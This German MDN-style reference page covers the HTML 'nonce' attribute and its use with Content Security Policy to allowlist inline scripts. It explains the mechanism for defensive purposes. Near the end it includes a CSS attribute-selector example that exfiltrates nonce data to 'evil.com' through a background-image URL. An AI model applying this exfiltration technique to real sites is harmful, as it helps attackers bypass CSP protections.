nonce
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since August 2016.
Das nonce
globale Attribut ist ein Inhaltsattribut, das eine kryptografische Nonce ("number used once", Zahl, die nur einmal verwendet wird) definiert. Es kann von der Content Security Policy verwendet werden, um festzulegen, ob ein bestimmter Abruf für ein gegebenes Element erlaubt wird oder nicht.
Beschreibung
Das nonce
-Attribut ist nützlich, um bestimmte Elemente, wie zum Beispiel ein bestimmtes Inline-Skript oder Stil-Elemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung der CSP unsafe-inline
-Direktive zu vermeiden, die alle Inline-Skripte oder -Stile auf eine Positivliste setzen würde.
Hinweis:
Verwenden Sie nonce
nur in Fällen, in denen Sie keinen anderen Weg haben, als unsichere Inline-Skript- oder -Stilinhalte zu verwenden. Wenn Sie nonce
nicht benötigen, verwenden Sie es nicht. Wenn Ihr Skript statisch ist, können Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Anwendungshinweise zu unsicheren Inline-Skripten.)
Versuchen Sie immer, den vollen Vorteil der CSP-Schutzmechanismen zu nutzen und Nonces oder unsichere Inline-Skripte wann immer möglich zu vermeiden.
Verwendung von nonce zur Positivliste eines <script>-Elements
Es gibt einige Schritte, um ein Inline-Skript mit dem Nonce-Mechanismus auf eine Positivliste zu setzen:
Werte generieren
Von Ihrem Webserver aus generieren Sie einen zufälligen Base64-codierten String mit mindestens 128 Bits Daten aus einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal neu generiert werden, wenn die Seite geladen wird (Nonce nur einmal!). Zum Beispiel in Node.js:
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Inline-Skript auf die Positivliste setzen
Die im Backend-Code generierte Nonce sollte nun für das Inline-Skript verwendet werden, das Sie auf eine Positivliste setzen möchten:
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
Eine Nonce mit einem CSP-Header senden
Schließlich müssen Sie den Nonce-Wert in einem Content-Security-Policy
-Header senden (fügen Sie nonce-
voran):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Zugriff auf Nonces und Verbergen der Nonce
Aus Sicherheitsgründen ist das nonce
-Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).
script.getAttribute("nonce"); // returns empty string
Die nonce
-Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:
script.nonce; // returns nonce value
Das Verbergen der Nonce hilft, Angreifern zu verhindern, dass sie Nonce-Daten über Mechanismen exfiltrieren, die Daten aus Inhaltsattributen erhalten können:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
Specification |
---|
HTML Standard # attr-nonce |
Browser-Kompatibilität
BCD tables only load in the browser